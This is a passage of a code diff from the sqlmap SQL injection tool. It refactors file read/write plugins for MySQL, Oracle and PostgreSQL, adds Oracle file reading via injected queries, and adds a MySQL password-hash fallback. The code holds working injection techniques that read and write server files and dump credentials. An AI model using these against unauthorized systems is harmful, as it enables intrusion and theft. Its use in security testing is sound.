logger.debug(debugMsg)
inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile))
inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (remoteFile, tmpFile))
debugMsg = "loading the content of hexadecimal encoded file "
debugMsg += "'%s' into support table" % rFile
debugMsg += "'%s' into support table" % remoteFile
logger.debug(debugMsg)
inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField))
@@ -61,12 +63,13 @@ class Filesystem(GenericFilesystem):
if not isNumPosStrValue(length):
warnMsg = "unable to retrieve the content of the "
warnMsg += "file '%s'" % rFile
warnMsg += "file '%s'" % remoteFile
if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
warnMsg += ", going to fall-back to simpler UNION technique"
logger.warn(warnMsg)
result = self.nonStackedReadFile(rFile)
if not kb.bruteMode:
warnMsg += ", going to fall-back to simpler UNION technique"
logger.warn(warnMsg)
result = self.nonStackedReadFile(remoteFile)
else:
raise SqlmapNoneDataException(warnMsg)
else:
@@ -85,10 +88,10 @@ class Filesystem(GenericFilesystem):
return result
@stackedmethod
def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False):
def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
logger.debug("encoding file to its hexadecimal string value")
fcEncodedList = self.fileEncode(wFile, "hex", True)
fcEncodedList = self.fileEncode(localFile, "hex", True)
fcEncodedStr = fcEncodedList[0]
fcEncodedStrLen = len(fcEncodedStr)
@@ -99,12 +102,12 @@ class Filesystem(GenericFilesystem):
warnMsg += "writing process"
logger.warn(warnMsg)
debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
logger.debug(debugMsg)
pushValue(kb.forceWhere)
kb.forceWhere = PAYLOAD.WHERE.NEGATIVE
sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile)
sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, remoteFile)
unionUse(sqlQuery, unpack=False)
kb.forceWhere = popValue()
@@ -112,12 +115,12 @@ class Filesystem(GenericFilesystem):
warnMsg += "file as a leftover from UNION query"
singleTimeWarnMessage(warnMsg)
return self.askCheckWrittenFile(wFile, dFile, forceCheck)
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
def linesTerminatedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
def linesTerminatedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
logger.debug("encoding file to its hexadecimal string value")
fcEncodedList = self.fileEncode(wFile, "hex", True)
fcEncodedList = self.fileEncode(localFile, "hex", True)
fcEncodedStr = fcEncodedList[0][2:]
fcEncodedStrLen = len(fcEncodedStr)
@@ -128,10 +131,10 @@ class Filesystem(GenericFilesystem):
warnMsg += "writing process"
logger.warn(warnMsg)
debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
logger.debug(debugMsg)
query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=dFile, HEXSTRING=fcEncodedStr)
query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=remoteFile, HEXSTRING=fcEncodedStr)
query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
payload = agent.payload(newValue=query)
Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False)
@@ -140,9 +143,9 @@ class Filesystem(GenericFilesystem):
warnMsg += "file as a leftover from original query"
singleTimeWarnMessage(warnMsg)
return self.askCheckWrittenFile(wFile, dFile, forceCheck)
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
debugMsg = "creating a support table to write the hexadecimal "
debugMsg += "encoded file to"
logger.debug(debugMsg)
@@ -150,7 +153,7 @@ class Filesystem(GenericFilesystem):
self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
logger.debug("encoding file to its hexadecimal string value")
fcEncodedList = self.fileEncode(wFile, "hex", False)
fcEncodedList = self.fileEncode(localFile, "hex", False)
debugMsg = "forging SQL statements to write the hexadecimal "
debugMsg += "encoded file to the support table"
@@ -165,10 +168,10 @@ class Filesystem(GenericFilesystem):
for sqlQuery in sqlQueries:
inject.goStacked(sqlQuery)
debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
logger.debug(debugMsg)
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True)
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, remoteFile), silent=True)
return self.askCheckWrittenFile(wFile, dFile, forceCheck)
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
+44 -5
View File
@@ -5,16 +5,55 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.agent import agent
from lib.core.common import dataToOutFile
from lib.core.common import decodeDbmsHexValue
from lib.core.common import getSQLSnippet
from lib.core.common import isNoneValue
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.request import inject
from lib.request.connect import Connect as Request
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
def readFile(self, rFile):
errMsg = "File system read access not yet implemented for "
errMsg += "Oracle"
raise SqlmapUnsupportedFeatureException(errMsg)
def readFile(self, remoteFile):
localFilePaths = []
snippet = getSQLSnippet(DBMS.ORACLE, "read_file_export_extension")
def writeFile(self, wFile, dFile, fileType=None, forceCheck=False):
for query in snippet.split("\n"):
query = query.strip()
query = agent.prefixQuery("OR (%s) IS NULL" % query)
query = agent.suffixQuery(query, trimEmpty=False)
payload = agent.payload(newValue=query)
Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False)
for remoteFile in remoteFile.split(','):
if not kb.bruteMode:
infoMsg = "fetching file: '%s'" % remoteFile
logger.info(infoMsg)
kb.fileReadMode = True
fileContent = inject.getValue("SELECT RAWTOHEX(OSREADFILE('%s')) FROM DUAL" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
kb.fileReadMode = False
if not isNoneValue(fileContent):
fileContent = decodeDbmsHexValue(fileContent, True)
if fileContent.strip():
localFilePath = dataToOutFile(remoteFile, fileContent)
localFilePaths.append(localFilePath)
elif not kb.bruteMode:
errMsg = "no data retrieved"
logger.error(errMsg)
return localFilePaths
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
errMsg = "File system write access not yet implemented for "
errMsg += "Oracle"
raise SqlmapUnsupportedFeatureException(errMsg)
+14 -12
View File
@@ -9,6 +9,7 @@ import os
from lib.core.common import randomInt
from lib.core.compat import xrange
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.core.settings import LOBLKSIZE
@@ -22,22 +23,23 @@ class Filesystem(GenericFilesystem):
GenericFilesystem.__init__(self)
def stackedReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
def stackedReadFile(self, remoteFile):
if not kb.bruteMode:
infoMsg = "fetching file: '%s'" % remoteFile
logger.info(infoMsg)
self.initEnv()
return self.udfEvalCmd(cmd=rFile, udfName="sys_fileread")
return self.udfEvalCmd(cmd=remoteFile, udfName="sys_fileread")
def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False):
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
errMsg = "PostgreSQL does not support file upload with UNION "
errMsg += "query SQL injection technique"
raise SqlmapUnsupportedFeatureException(errMsg)
def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
wFileSize = os.path.getsize(wFile)
content = open(wFile, "rb").read()
def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
localFileSize = os.path.getsize(localFile)
content = open(localFile, "rb").read()
self.oid = randomInt()
self.page = 0
@@ -56,7 +58,7 @@ class Filesystem(GenericFilesystem):
inject.goStacked("SELECT lo_create(%d)" % self.oid)
inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid)
for offset in xrange(0, wFileSize, LOBLKSIZE):
for offset in xrange(0, localFileSize, LOBLKSIZE):
fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False)
sqlQueries = self.fileToSqlQueries(fcEncodedList)
@@ -69,12 +71,12 @@ class Filesystem(GenericFilesystem):
self.page += 1
debugMsg = "exporting the OID %s file content to " % fileType
debugMsg += "file '%s'" % dFile
debugMsg += "file '%s'" % remoteFile
logger.debug(debugMsg)
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, remoteFile), silent=True)
written = self.askCheckWrittenFile(wFile, dFile, forceCheck)
written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
+4 -16
View File
@@ -47,22 +47,10 @@ class Takeover(GenericTakeover):
banVer = kb.bannerFp["dbmsVersion"]
if banVer >= "9.4":
majorVer = "9.4"
elif banVer >= "9.3":
majorVer = "9.3"
elif banVer >= "9.2":
majorVer = "9.2"
elif banVer >= "9.1":
majorVer = "9.1"
elif banVer >= "9.0":
majorVer = "9.0"
elif banVer >= "8.4":
majorVer = "8.4"
elif banVer >= "8.3":
majorVer = "8.3"
elif banVer >= "8.2":
majorVer = "8.2"
if banVer >= "10":
majorVer = banVer.split('.')[0]
elif banVer >= "8.2" and '.' in banVer:
majorVer = '.'.join(banVer.split('.')[:2])
else:
errMsg = "unsupported feature on versions of PostgreSQL before 8.2"
raise SqlmapUnsupportedFeatureException(errMsg)
+1 -1
View File
@@ -18,7 +18,7 @@ class Enumeration(GenericEnumeration):
warnMsg = "on SQLite it is not possible to get name of the current database"
logger.warn(warnMsg)
def isDba(self, *args, **kwargs):
def isDba(self, user=None):
warnMsg = "on SQLite the current user has all privileges"
logger.warn(warnMsg)
+2 -2
View File
@@ -9,10 +9,10 @@ from lib.core.exception import SqlmapUnsupportedFeatureException
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
def readFile(self, rFile):
def readFile(self, remoteFile):
errMsg = "on SQLite it is not possible to read files"
raise SqlmapUnsupportedFeatureException(errMsg)
def writeFile(self, wFile, dFile, fileType=None, forceCheck=False):
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
errMsg = "on SQLite it is not possible to write files"
raise SqlmapUnsupportedFeatureException(errMsg)
+2 -2
View File
@@ -9,10 +9,10 @@ from lib.core.exception import SqlmapUnsupportedFeatureException
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
def readFile(self, rFile):
def readFile(self, remoteFile):
errMsg = "on Sybase it is not possible to read files"
raise SqlmapUnsupportedFeatureException(errMsg)
def writeFile(self, wFile, dFile, fileType=None, forceCheck=False):
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
errMsg = "on Sybase it is not possible to write files"
raise SqlmapUnsupportedFeatureException(errMsg)
+10 -3
View File
@@ -317,7 +317,7 @@ class Databases(object):
logger.info(infoMsg)
else:
warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
warnMsg += "possible to get column comments"
warnMsg += "possible to get table comments"
singleTimeWarnMessage(warnMsg)
if db not in kb.data.cachedTables:
@@ -399,7 +399,7 @@ class Databases(object):
logger.info(infoMsg)
else:
warnMsg = "on %s it is not " % Backend.getIdentifiedDbms()
warnMsg += "possible to get column comments"
warnMsg += "possible to get table comments"
singleTimeWarnMessage(warnMsg)
if tables:
@@ -581,16 +581,23 @@ class Databases(object):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
query += condQuery
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db,
conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
query += condQuery.replace("[DB]", conf.db)
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
query = rootQuery.inband.query % unsafeSQLIdentificatorNaming(tbl)
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl))
query += condQuery
if dumpMode and colList:
values = [(_,) for _ in colList]
else:
@@ -1031,4 +1038,4 @@ class Databases(object):
else:
kb.data.cachedStatements = [_.replace(REFLECTED_VALUE_MARKER, "<payload>") for _ in kb.data.cachedStatements]
return kb.data.cachedStatements
return kb.data.cachedStatements
+5 -2
View File
@@ -205,6 +205,9 @@ class Entries(object):
value = inject.getValue(query, blind=False, time=False, dump=True) or ""
row.append(value)
if not entries and isNoneValue(row):
break
entries.append(row)
except KeyboardInterrupt:
@@ -213,7 +216,7 @@ class Entries(object):
warnMsg = "Ctrl+C detected in dumping phase"
logger.warn(warnMsg)
if not entries and not kb.dumpKeyboardInterrupt:
if isNoneValue(entries) and not kb.dumpKeyboardInterrupt:
try:
retVal = pivotDumpTable(table, colList, blind=False)
except KeyboardInterrupt:
@@ -225,7 +228,7 @@ class Entries(object):
if retVal:
entries, _ = retVal
entries = _zip(*[entries[colName] for colName in colList])
entries = BigArray(_zip(*[entries[colName] for colName in colList]))
else:
query = rootQuery.inband.query % (colString, conf.db, tbl)
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
+13 -12
View File
@@ -10,13 +10,13 @@ import os
import sys
from lib.core.agent import agent
from lib.core.common import dataToOutFile
from lib.core.common import Backend
from lib.core.common import checkFile
from lib.core.common import dataToOutFile
from lib.core.common import decloakToTemp
from lib.core.common import decodeDbmsHexValue
from lib.core.common import isNumPosStrValue
from lib.core.common import isListLike
from lib.core.common import isNumPosStrValue
from lib.core.common import isStackingAvailable
from lib.core.common import isTechniqueAvailable
from lib.core.common import readInput
@@ -26,8 +26,8 @@ from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapUndefinedMethod
@@ -174,12 +174,13 @@ class Filesystem(object):
return True
def askCheckReadFile(self, localFile, remoteFile):
message = "do you want confirmation that the remote file '%s' " % remoteFile
message += "has been successfully downloaded from the back-end "
message += "DBMS file system? [Y/n] "
if not kb.bruteMode:
message = "do you want confirmation that the remote file '%s' " % remoteFile
message += "has been successfully downloaded from the back-end "
message += "DBMS file system? [Y/n] "
if readInput(message, default='Y', boolean=True):
return self._checkFileLength(localFile, remoteFile, True)
if readInput(message, default='Y', boolean=True):
return self._checkFileLength(localFile, remoteFile, True)
return None
@@ -203,12 +204,12 @@ class Filesystem(object):
errMsg += "into the specific DBMS plugin"
raise SqlmapUndefinedMethod(errMsg)
def readFile(self, remoteFiles):
def readFile(self, remoteFile):
localFilePaths = []
self.checkDbmsOs()
for remoteFile in remoteFiles.split(','):
for remoteFile in remoteFile.split(','):
fileContent = None
kb.fileReadMode = True
@@ -255,7 +256,7 @@ class Filesystem(object):
if fileContent is not None:
fileContent = decodeDbmsHexValue(fileContent, True)
if fileContent:
if fileContent.strip():
localFilePath = dataToOutFile(remoteFile, fileContent)
if not Backend.isDbms(DBMS.PGSQL):
@@ -269,7 +270,7 @@ class Filesystem(object):
localFilePath += " (size differs from remote file)"
localFilePaths.append(localFilePath)
else:
elif not kb.bruteMode:
errMsg = "no data retrieved"
logger.error(errMsg)
+1 -1
View File
@@ -165,7 +165,7 @@ class Miscellaneous(object):
inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True)
if Backend.isDbms(DBMS.MSSQL):
udfDict = {"master..new_xp_cmdshell": None}
udfDict = {"master..new_xp_cmdshell": {}}
if udfDict is None:
udfDict = self.sysUdfs
+1 -1
View File
@@ -26,7 +26,7 @@ class Syntax(object):
if quote:
for item in re.findall(r"'[^']*'+", expression):
original = item[1:-1]
if original:
if original and re.search(r"\[(SLEEPTIME|RAND)", original) is None: # e.g. '[SLEEPTIME]' marker
replacement = escaper(original) if not conf.noEscape else original
if replacement != original:
+15 -4
View File
@@ -15,6 +15,7 @@ from lib.core.common import getLimitRange
from lib.core.common import isAdminFromPrivileges
from lib.core.common import isInferenceAvailable
from lib.core.common import isNoneValue
from lib.core.common import isNullValue
from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable
from lib.core.common import parsePasswordHash
@@ -203,8 +204,10 @@ class Users(object):
else:
values = inject.getValue(query, blind=False, time=False)
if isNoneValue(values) and Backend.isDbms(DBMS.MSSQL):
if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
values = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), blind=False, time=False)
elif Backend.isDbms(DBMS.MYSQL) and (isNoneValue(values) or all(len(value) == 2 and (isNullValue(value[1]) or isNoneValue(value[1])) for value in values)):
values = inject.getValue(query.replace("authentication_string", "password"), blind=False, time=False)
for user, password in filterPairValues(values):
if not user or user == " ":
@@ -270,9 +273,13 @@ class Users(object):
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count) and Backend.isDbms(DBMS.MSSQL):
fallback = True
count = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
if Backend.isDbms(DBMS.MSSQL):
fallback = True
count = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
elif Backend.isDbms(DBMS.MYSQL):
fallback = True
count = inject.getValue(query.replace("authentication_string", "password"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of password "
@@ -307,6 +314,10 @@ class Users(object):
else:
query = rootQuery.blind.query % (user, index)
if Backend.isDbms(DBMS.MYSQL):
if fallback:
query = query.replace("authentication_string", "password")
password = unArrayizeValue(inject.getValue(query, union=False, error=False))
password = parsePasswordHash(password)
+5 -1
View File
@@ -367,7 +367,7 @@ titles = False
# Example: ES (means test for error-based and stacked queries SQL
# injection types only)
# Default: BEUSTQ (means test for all SQL injection types - recommended)
tech = BEUSTQ
technique = BEUSTQ
# Seconds to delay the response from the DBMS.
# Valid: integer
@@ -572,6 +572,10 @@ commonTables = False
# Valid: True or False
commonColumns = False
# Check existence of common files.
# Valid: True or False
commonFiles = False
# These options can be used to create custom user-defined functions.
[User-defined function]
+3 -3
View File
@@ -54,15 +54,15 @@ try:
from lib.core.data import cmdLineOptions
from lib.core.data import conf
from lib.core.data import kb
from lib.core.common import unhandledExceptionMessage
from lib.core.common import MKSTEMP_PREFIX
from lib.core.common import setColor
from lib.core.common import unhandledExceptionMessage
from lib.core.exception import SqlmapBaseException
from lib.core.exception import SqlmapShellQuitException
from lib.core.exception import SqlmapSilentQuitException
from lib.core.exception import SqlmapUserQuitException
from lib.core.option import initOptions
from lib.core.option import init
from lib.core.option import initOptions
from lib.core.patch import dirtyPatches
from lib.core.patch import resolveCrossReferences
from lib.core.settings import GIT_PAGE
@@ -243,7 +243,7 @@ def main():
logger.critical(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in ("SyntaxError: Non-ASCII character", "on line 1, but no encoding declared")):
elif all(_ in excMsg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")) or any(_ in excMsg for _ in ("source code string cannot contain null bytes", "No module named")):
errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip()
logger.critical(errMsg)
raise SystemExit
+9 -1
View File
@@ -13,12 +13,13 @@ __import__("lib.utils.versioncheck") # this has to be the first non-standard im
import logging
import optparse
import os
import warnings
warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning)
warnings.filterwarnings(action="ignore", category=DeprecationWarning)
from sqlmap import modulePath
from lib.core.common import getUnicode
from lib.core.common import setPaths
from lib.core.data import logger
from lib.core.patch import dirtyPatches
@@ -26,9 +27,16 @@ from lib.core.patch import resolveCrossReferences
from lib.core.settings import RESTAPI_DEFAULT_ADAPTER
from lib.core.settings import RESTAPI_DEFAULT_ADDRESS
from lib.core.settings import RESTAPI_DEFAULT_PORT
from lib.core.settings import UNICODE_ENCODING
from lib.utils.api import client
from lib.utils.api import server
try:
from sqlmap import modulePath
except ImportError:
def modulePath():
return getUnicode(os.path.dirname(os.path.realpath(__file__)), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
def main():
"""
REST-JSON API main function
-459
View File
@@ -1,459 +0,0 @@
# Note: written with Swagger Editor (https://editor.swagger.io/)
swagger: "2.0"
info:
description: ""
version: "1.2"
title: "sqlmap API"
contact:
email: "[email protected]"
license:
name: "GPL 2.0"
url: "https://www.gnu.org/licenses/old-licenses/gpl-2.0.html"
host: "0.0.0.0:8775"
basePath: "/"
tags:
- name: "task"
description: "Task management functions"
- name: "admin"
description: "Task administration functions"
- name: "option"
description: "Task option handling functions"
schemes:
- "http"
paths:
/task/new:
get:
tags:
- "task"
summary: "Create a new task"
description: ""
operationId: "taskNew"
produces:
- "application/json"
parameters: []
responses:
200:
description: "Task successfully created"
schema:
type: object
properties:
success:
type: boolean
taskid:
type: string
example: "7e605b5d5a892b74"
/task/{taskid}/delete:
get:
tags:
- "task"
summary: "Delete an existing task"
description: ""
operationId: "taskDelete"
produces:
- "application/json"
parameters:
- name: "taskid"
in: "path"
description: "ID of an existing task to delete"
required: true
type: "string"
responses:
200:
description: "Task successfully deleted"
schema:
type: object
properties:
success:
type: boolean
enum: [true]
404:
description: "Task ID not found"
schema:
type: object
properties:
success:
type: boolean
enum: [false]
message:
type: string
enum: ["Non-existing task ID"]
/admin/list:
get:
tags:
- "admin"
summary: "Pull task list (locally)"
description: "Note: Use in cases when connecting to server from same IP (e.g. `localhost`)"
operationId: "adminList"
produces:
- "application/json"
responses:
200:
description: "Task list successfully pulled"
schema:
type: object
properties:
success:
type: boolean
enum: [true]
tasks:
type: object
additionalProperties:
type: string
example:
16a7a898e8eaaf45: running
644fc063408e4f12: not running
8e2eb10770d913cd: not running
d59d1c69bdc06933: not running
tasks_num:
type: integer
example: 4
/admin/{token}/list:
get:
tags:
- "admin"
summary: "Pull task list (remotely)"
description: "Note: Use in cases when connecting to server from different IP"
operationId: "adminListToken"
produces:
- "application/json"
parameters:
- name: "token"
in: "path"
description: "Secret token (Note: written to console during a server run - e.g. `2756d5b6e7d093ba49b5fd06a93aca7a`)"
required: true
type: "string"
responses:
200:
description: "Task list successfully pulled"
schema:
type: object
properties:
success:
type: boolean
enum: [true]
tasks:
type: object
additionalProperties:
type: string
example:
5c911efa476b55f4: not running
5ee038e153ffc534: not running
e58c7a4de6bf7f51: not running
tasks_num:
type: integer
example: 4
/admin/flush:
get:
tags:
- "admin"
summary: "Flush task pool (locally)"
description: "Note: Use in cases when connecting to server from same IP (e.g. `localhost`)"
operationId: "adminFlush"
produces:
- "application/json"
responses:
200:
description: "Task pool successfully flushed"
schema:
type: object
properties:
success:
type: boolean
enum: [true]
/admin/{token}/flush:
get:
tags:
- "admin"
summary: "Flush task pool (remotely)"
description: "Note: Use in cases when connecting to server from different IP"
operationId: "adminFlushToken"
produces:
- "application/json"
parameters:
- name: "token"
in: "path"
description: "Secret token (Note: written to console during a server run - e.g. `2756d5b6e7d093ba49b5fd06a93aca7a`)"
required: true
type: "string"
responses:
200:
description: "Task pool successfully flushed"
schema:
type: object
properties:
success:
type: boolean
enum: [true]
/option/{taskid}/list:
get:
tags:
- "option"
summary: "List task options"
description: ""
operationId: "optionList"
produces:
- "application/json"
parameters:
- name: "taskid"
in: "path"
description: "ID of an existing task to list it's options"
required: true
type: "string"
responses:
200:
description: "Task options successfully listed"
schema:
type: object
properties:
success:
type: boolean
enum: [true]
options:
type: object
additionalProperties:
type: string
example:
crawlDepth: null
osShell: false
getUsers: false
getPasswordHashes: false
excludeSysDbs: false
ignoreTimeouts: false
regData: null
fileDest: null
prefix: null
code: null
googlePage: 1
skip: null
query: null
randomAgent: false
osPwn: false
authType: null
safeUrl: null
requestFile: null
predictOutput: false
wizard: false
stopFail: false
forms: false
uChar: null
secondReq: null
taskid: d977b0e5f091370e
pivotColumn: null
dropSetCookie: false
smart: false
paramExclude: null
risk: 1
sqlFile: null
rParam: null
getCurrentUser: false
notString: null
getRoles: false
getPrivileges: false
testParameter: null
tbl: null
charset: null
trafficFile: null
osSmb: false
level: 1
dnsDomain: null
outputDir: null
encoding: null
skipWaf: false
timeout: 30
firstChar: null
torPort: null
getComments: false
binaryFields: null
checkTor: false
commonTables: false
direct: null
tmpPath: null
titles: false
getSchema: false
paramDel: null
safeReqFile: null
regKey: null
murphyRate: null
limitStart: null
crawlExclude: null
flushSession: false
loadCookies: null
csvDel:
offline: false
method: null
tmpDir: null
fileWrite: null
disablePrecon: false
osBof: false
testSkip: null
invalidLogical: false
getCurrentDb: false
hexConvert: false
proxyFile: null
answers: null
host: null
dependencies: false
cookie: null
proxy: null
regType: null
optimize: false
limitStop: null
search: false
uFrom: null
noCast: false
testFilter: null
ignoreCode: null
eta: false
csrfToken: null
threads: 1
logFile: null
os: null
col: null
skipStatic: false
proxyCred: null
verbose: 1
isDba: false
updateAll: false
privEsc: false
forceDns: false
getAll: false
api: true
url: http://www.test.com/index.php?id=1
invalidBignum: false
regexp: null
getDbs: false
freshQueries: false
uCols: null
smokeTest: false
udfInject: false
invalidString: false
tor: false
forceSSL: false
beep: false
noEscape: false
configFile: null
scope: null
authFile: null
torType: SOCKS5
regVal: null
dummy: false
checkInternet: false
safePost: null
safeFreq: null
skipUrlEncode: false
referer: null
liveTest: false
retries: 3
extensiveFp: false
dumpTable: false
getColumns: false
batch: true
purge: false
headers: null
authCred: null
osCmd: null
suffix: null
dbmsCred: null
regDel: false
shLib: null
sitemapUrl: null
timeSec: 5
msfPath: null
dumpAll: false
fileRead: null
getHostname: false
sessionFile: null
disableColoring: true
getTables: false
listTampers: false
agent: null
webRoot: null
exclude: null
lastChar: null
string: null
dbms: null
dumpWhere: null
tamper: null
ignoreRedirects: false
hpp: false
runCase: null
delay: 0
evalCode: null
cleanup: false
csrfUrl: null
secondUrl: null
getBanner: true
profile: false
regRead: false
bulkFile: null
db: null
dumpFormat: CSV
alert: null
harFile: null
nullConnection: false
user: null
parseErrors: false
getCount: false
data: null
regAdd: false
ignoreProxy: false
database: /tmp/sqlmapipc-jGw6ZY
mobile: false
googleDork: null
saveConfig: null
sqlShell: false
tech: BEUSTQ
textOnly: false
cookieDel: null
commonColumns: false
keepAlive: false
/option/{taskid}/get:
post:
tags:
- "option"
summary: "Get task option value(s)"
description: ""
operationId: "optionGet"
consumes:
- "application/json"
produces:
- "application/json"
parameters:
- name: "taskid"
in: "path"
description: "ID of an existing task"
required: true
type: "string"
- in: body
name: options
description: ""
schema:
type: array
items:
type: string
example: ["url", "timeout"]
responses:
200:
description: "Task option value successfully retrieved"
schema:
type: object
properties:
success:
type: boolean
options:
type: array
items:
type: object
properties:
name:
type: string
value:
type: string
example:
- success: true
options:
url: http://www.test.com/index.php?id=1
timeout: 30
externalDocs:
description: "Find out more about sqlmap API (REST-JSON)"
url: "https://github.com/sqlmapproject/sqlmap/wiki/Usage#api-rest-json"
+1 -1
View File
@@ -8,8 +8,8 @@ See the file 'LICENSE' for copying permission
import os
import string
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
+1 -1
View File
@@ -5,8 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import string
import random
import string
from lib.core.compat import xrange
from lib.core.enums import HINT
+1 -1
View File
@@ -9,8 +9,8 @@ import random
import re
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.datatype import OrderedSet
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
+1 -1
View File
@@ -8,8 +8,8 @@ See the file 'LICENSE' for copying permission
import os
import string
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
+3 -1
View File
@@ -41,6 +41,8 @@ def tamper(payload, **kwargs):
'f()'
>>> tamper('function()')
'FuNcTiOn()'
>>> tamper('SELECT id FROM `user`')
'SeLeCt id FrOm `user`'
"""
retVal = payload
@@ -49,7 +51,7 @@ def tamper(payload, **kwargs):
